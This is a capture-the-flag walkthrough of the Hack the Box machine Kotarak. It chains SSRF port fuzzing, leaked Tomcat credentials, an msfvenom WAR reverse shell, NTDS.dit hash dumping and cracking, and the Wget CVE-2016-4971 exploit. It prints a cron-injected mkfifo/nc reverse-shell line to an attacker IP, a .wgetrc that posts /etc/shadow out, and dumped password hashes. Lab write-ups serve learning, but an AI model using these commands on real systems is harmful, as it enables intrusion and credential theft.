Kotarak an OG machine in Hack the Box.

We will start with a Server-Side Request Forgery that willl lead us into an information leakage of a Tomcat config file with credentials.

Next up we will exploit the Tomcat instance as usual, with a maliciou WAR file that will get us a reverse shell.

Then we will get access to some files from a Windows pentest that include a ntds.dit file and a system hive. This will let us dump a lot of hashes, one of them being the password for the next user.

For root we will exploit a Wget vulnerable version where will manage to write a malicious config file in the root directory of the container where the root flag is located, letting us see it.

Recon

Nmap

nmap finds four ports:

❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.1.117 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked up and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 11:13 -05
Initiating SYN Stealth Scan at 11:13
Scanning 10.129.1.117 [65535 ports]
Discovered open port 8080/tcp on 10.129.1.117
Discovered open port 22/tcp on 10.129.1.117
Discovered open port 60000/tcp on 10.129.1.117
Discovered open port 8009/tcp on 10.129.1.117
Completed SYN Stealth Scan at 11:14, 14.56s elapsed (65535 total ports)
Nmap scan report for 10.129.1.117
Host is up (0.16s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
8009/tcp  open  ajp13
8080/tcp  open  http-proxy
60000/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.70 seconds
           Raw packets sent: 71314 (3.138MB) | Rcvd: 71145 (2.846MB)

With the parameter -oG we are exporting the result in grepable format, which is great to manage with regex and get all the ports without needing to type them one by one:


extractPorts () {
	ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
	ip_address="$(cat $1 | grep initiated | awk 'NF{print $NF}')"
	echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
	echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
	echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
	echo $ports | tr -d '\n' | xclip -sel clip
	echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
	/bin/batcat extractPorts.tmp
	rm extractPorts.tmp
}
❯ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.129.1.117
	[*] Open ports: 22,8009,8080,60000

[*] Ports copied to clipboard

With parameters -sCV we can take a deeper look into these ports:

❯ nmap -sCV -p22,8009,8080,60000 10.129.1.117 -oN targeted

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 11:18 -05
Nmap scan report for 10.129.1.117
Host is up (0.16s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
|   256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_  256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods:
|   Supported methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
|_  See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp  open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5 - Error report
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-favicon: Apache Tomcat
60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title:         Kotarak Web Hosting
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.04 seconds

Ports 8080 - 8009

Port 8080 is an instance of Apache Tomcat:

Hello Friend

As usual, in /manager/html we can find a login panel. But after trying some default passwords none of them work.

Hello Friend

On the other hand, port 8009 is a default Tomcat port, so it gives access to the same content we would see in /manager/html on port 8080.

Port 8006

This port hosts a private browser:

Hello Friend

We can test if it works by setting a python server with a test file with some php content as is the language used by the web, we know this because of the extension Wappalyzer:

Hello Friend

It actually sends the petition and displays its content but it doesn’t interprete the code.

Server-Side Request Forgery (SSRF)

But what if we make it point to itself?

Hello Friend Hello Friend

It works! This way we can fuzz for the opened ports locally inside the machine:

❯ wfuzz -c -t 200 --hh=2 -z range,1-65535 "http://10.129.1.117:60000/url.php?path=http://localhost:FUZZ"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.1.117:60000/url.php?path=http://localhost:FUZZ
Total requests: 65535

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000200:   200        3 L      2 W        22 Ch       "200"
000000320:   200        26 L     109 W      1232 Ch     "320"
000000022:   200        4 L      4 W        62 Ch       "22"
000000888:   200        78 L     265 W      3955 Ch     "888"
000000090:   200        11 L     18 W       156 Ch      "90"
000000110:   200        17 L     24 W       187 Ch      "110"
000003306:   200        2 L      7 W        123 Ch      "3306"
000008080:   200        2 L      47 W       994 Ch      "8080"

There’s many of them, but the one with the information we need is port 888 let’s take a look:

Hello Friend

Backup seems very interesting. If we do hovering we can see where this links to:

Hello Friend Hello Friend

Now we know how we can reach to this resource:

Hello Friend

Apparently we don’t have anything, but if we check the source code with Ctrl + U we can see the content of the file:

Hello Friend

Abusing Tomcat

At the bottom there are some credentials leaked, which we will use to login to the Tomcat instance:

Hello Friend

And it works.

Hello Friend

Now we can get a reverse shell as usual, uploading a maliciou WAR file.

Let’s create this file with msfvenom:

❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.161 LPORT=334 -f war -o shell.war
Payload size: 1105 bytes
Final size of war file: 1105 bytes
Saved as: shell.war

Set a listener in your chosen port and upload the file and open it: Hello Friend

❯ nc -lvnp 334

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.1.117.
Ncat: Connection from 10.129.1.117:57260.
whoami
tomcat

We get a shell but not an interactive tty, so if we do ^C we lose the connection with a tty treatment we can fix this:

python -c 'import pty;pty.spawn("/bin/bash")'
tomcat@kotarak-dmz:/$ ^Z
zsh: suspended  nc -lvnp 334

❯ stty raw -echo; fg
[1]  + continued  nc -lvnp 334
                              reset xterm

And lastly some final touches like the screen size (you can get yours doing stty size):

tomcat@kotarak-dmz:/$ export TERM=xterm
tomcat@kotarak-dmz:/$ export SHELL=bash
tomcat@kotarak-dmz:/$ stty rows 40 columns 145

The user flag is inside atanas’ home directory but we cannot access it yet.

Enumeration

Inside /home there’s a directory tomcat that contains some information about a pentest:

tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ ls
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit  
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

The .dit file is likely to be an active directory database from a domain controller, ntds.dit.

Dumping hashes

This will be very helpful for us since we can extract all the hashes from an ntds.dit with secretsdump using the SYSTEM reg hive, the .bin.

Let’s send over both files and try to dump the hashes:

❯ secretsdump.py -ntds ntds.dit -system ntds.bin LOCAL
Impacket v0.10.1.dev1+20220504.120002.d5097759 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domainid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

... ... ...

Cracking hashes

There’s a lot of hashes, I will try to crack the NTLM hashes with crackstation.net:

Hello Friend

f16tomcat! turns out to be atanas’ password, now we can migrate to that user and see the user.txt:

tomcat@kotarak-dmz:/home/atanas$ su atanass
Password:
atanas@kotarak-dmz:~$ cat user.txt
93f844f50491ef7*****************

Privilege escalation

As atanas we actually have access to the root directory and a flag.txt:

atanas@kotarak-dmz:/root$ ls
app.log  flag.txt
atanas@kotarak-dmz:/root$ cat flag.txt
Getting closer! But what you are looking for can't be found here.

If it’s not here maybe it’s inside of a container.

There’s also an app.log:

atanas@kotarak-dmz:/root$ cat app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

It’s a log of some connections made from 10.0.3.133 trying to get an archive.tar.gz from our host.

But we don’t seem have access to port 80:

atanas@kotarak-dmz:/root$ python -m SimpleHTTPServer 80
Traceback (most recent call last):
  File "/usr/lib/python2.7/runpy.py", line 174, in _run_module_as_main
    "__main__", fname, loader, pkg_name)
  File "/usr/lib/python2.7/runpy.py", line 72, in _run_code
    exec code in run_globals
  File "/usr/lib/python2.7/SimpleHTTPServer.py", line 235, in <module>
    test()
  File "/usr/lib/python2.7/SimpleHTTPServer.py", line 231, in test
    BaseHTTPServer.test(HandlerClass, ServerClass)
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 606, in test
    httpd = ServerClass(server_address, HandlerClass)
  File "/usr/lib/python2.7/SocketServer.py", line 417, in __init__
    self.server_bind()
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 108, in server_bind
    SocketServer.TCPServer.server_bind(self)
  File "/usr/lib/python2.7/SocketServer.py", line 431, in server_bind
    self.socket.bind(self.server_address)
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 13] Permission denied

Or do we?

After some enumeration we find out that authbind is running in the host, which enable rules that will let us access this port:

atanas@kotarak-dmz:/root$ ls -l /etc/authbind/byport
total 0
-rwxr-xr-x 1 root atanas 0 Aug 29  2017 21
-rwxr-xr-x 1 root atanas 0 Aug 29  2017 80

Members of group atanas have acces to ports 80 and 21 through authbind, and we are part of that group so let’s check if we can have control over this port with a netcat:

atanas@kotarak-dmz:/root$ authbind nc -lvnp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 45116)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-Alive

After some time we get the connection we saw previously on the log. And since we are using netcat we can see more information about the request.

The request is being done with Wget version 1.16, which is different to the one I have so maybe there’s some vulnerabilities to it:

❯ wget --version
GNU Wget 1.21.3 built on linux-gnu.
❯ searchsploit wget 1.16
--------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                 |  Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
GNU Wget < 1.18 - Access List Bypass / Race Condition                                                          | multiple/remote/40824.py
GNU Wget < 1.18 - Arbitrary File Upload (2)                                                                    | linux/remote/49815.py
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution                                                | linux/remote/40064.txt
--------------------------------------------------------------------------------------------------------------- ---------------------------------

There’s an RCE available. This vulnerability will let us truncate the file that’s being requested and make it download another file, and not only that, we can even control where this file is going to be downloaded to.

We will be using an FTP service and a HTTP service, luckily for us we have access to both of them with authbind.

The process is well explained in the searchsploit file:

atanas@kotarak-dmz:/root$ authbind python -m SimpleHTTPServer 80
atanas@kotarak-dmz:/root$ mkdir /tmp/ftptest
atanas@kotarak-dmz:/root$ cd !$
cd /tmp/ftptest
atanas@kotarak-dmz:/tmp/ftptest$ cat <<_EOF_>.wgetrc
> post_file = /etc/shadow
> output_document = /etc/cron.d/wget-root-shell
> _EOF_
atanas@kotarak-dmz:/tmp/ftptest$ ls -a
.  ..  .wgetrc

We have created a directory inside tmp and a file .wgetrc.

Next up, copy the wget-exploit.py specified inside the exploit:

---[ wget-exploit.py ]---

#!/usr/bin/env python

#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#

import SimpleHTTPServer
import SocketServer
import socket;

...

I will make some changes so the cronjob that will be injected in the container so it sends a reverse shell to me:

HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'
FTP_PORT = 21

ROOT_CRON = "* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.161 334 >/tmp/f\n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
    print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
    print "FTP is down :( Exiting."
    exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT

handler.serve_forever()

Having this set let’s launch tmux and run both the FTP server and the exploit at the same time:

atanas@kotarak-dmz:/tmp/ftptest$ authbind python wget-exploit.py
Ready? Is your FTP server running?
FTP found open on 10.129.1.117:21. Let's go then
atanas@kotarak-dmz:/tmp/ftptest$ authbind python -m pyftpdlib -p21 -w
/usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2022-07-13 14:40:05] >>> starting FTP server on 0.0.0.0:21, pid=40763 <<<
[I 2022-07-13 14:40:05] concurrency model: async
[I 2022-07-13 14:40:05] masquerade (NAT) address: None
[I 2022-07-13 14:40:05] passive ports: None
[I 2022-07-13 14:40:53] 10.129.1.117:51160-[] FTP session opened (connect)

Eventually we get the first request:

Serving wget exploit on port 80...


We have a volunteer requesting /archive.tar.gz by GET :)

Uploading .wgetrc via ftp redirect vuln. It should land in /root

10.0.3.133 - - [13/Jul/2022 14:38:01] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.129.1.117:21/.wgetrc

If everything goes as right in the next one we should get the /etc/shadow and the cronjob should be installed.

We have a volunteer requesting /archive.tar.gz by POST :)

Received POST from wget, this should be the extracted /etc/shadow file:

---[begin]---
 root:*:17366:0:99999:7:::
daemon:*:17366:0:99999:7:::
bin:*:17366:0:99999:7:::
sys:*:17366:0:99999:7:::
sync:*:17366:0:99999:7:::
games:*:17366:0:99999:7:::
man:*:17366:0:99999:7:::
lp:*:17366:0:99999:7:::
mail:*:17366:0:99999:7:::
news:*:17366:0:99999:7:::
uucp:*:17366:0:99999:7:::
proxy:*:17366:0:99999:7:::
www-data:*:17366:0:99999:7:::
backup:*:17366:0:99999:7:::
list:*:17366:0:99999:7:::
irc:*:17366:0:99999:7:::
gnats:*:17366:0:99999:7:::
nobody:*:17366:0:99999:7:::
systemd-timesync:*:17366:0:99999:7:::
systemd-network:*:17366:0:99999:7:::
systemd-resolve:*:17366:0:99999:7:::
systemd-bus-proxy:*:17366:0:99999:7:::
syslog:*:17366:0:99999:7:::
_apt:*:17366:0:99999:7:::
sshd:*:17366:0:99999:7:::
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::

---[eof]---

And after a minute we get the connection:

❯ nc -lvnp 334
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.1.117.
Ncat: Connection from 10.129.1.117:60702.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# hostname -I
10.0.3.133

Perfect! We got access to the container, now we can see the root flag:

# cat /root/root.txt
950d1425795dfd******************

See you next time!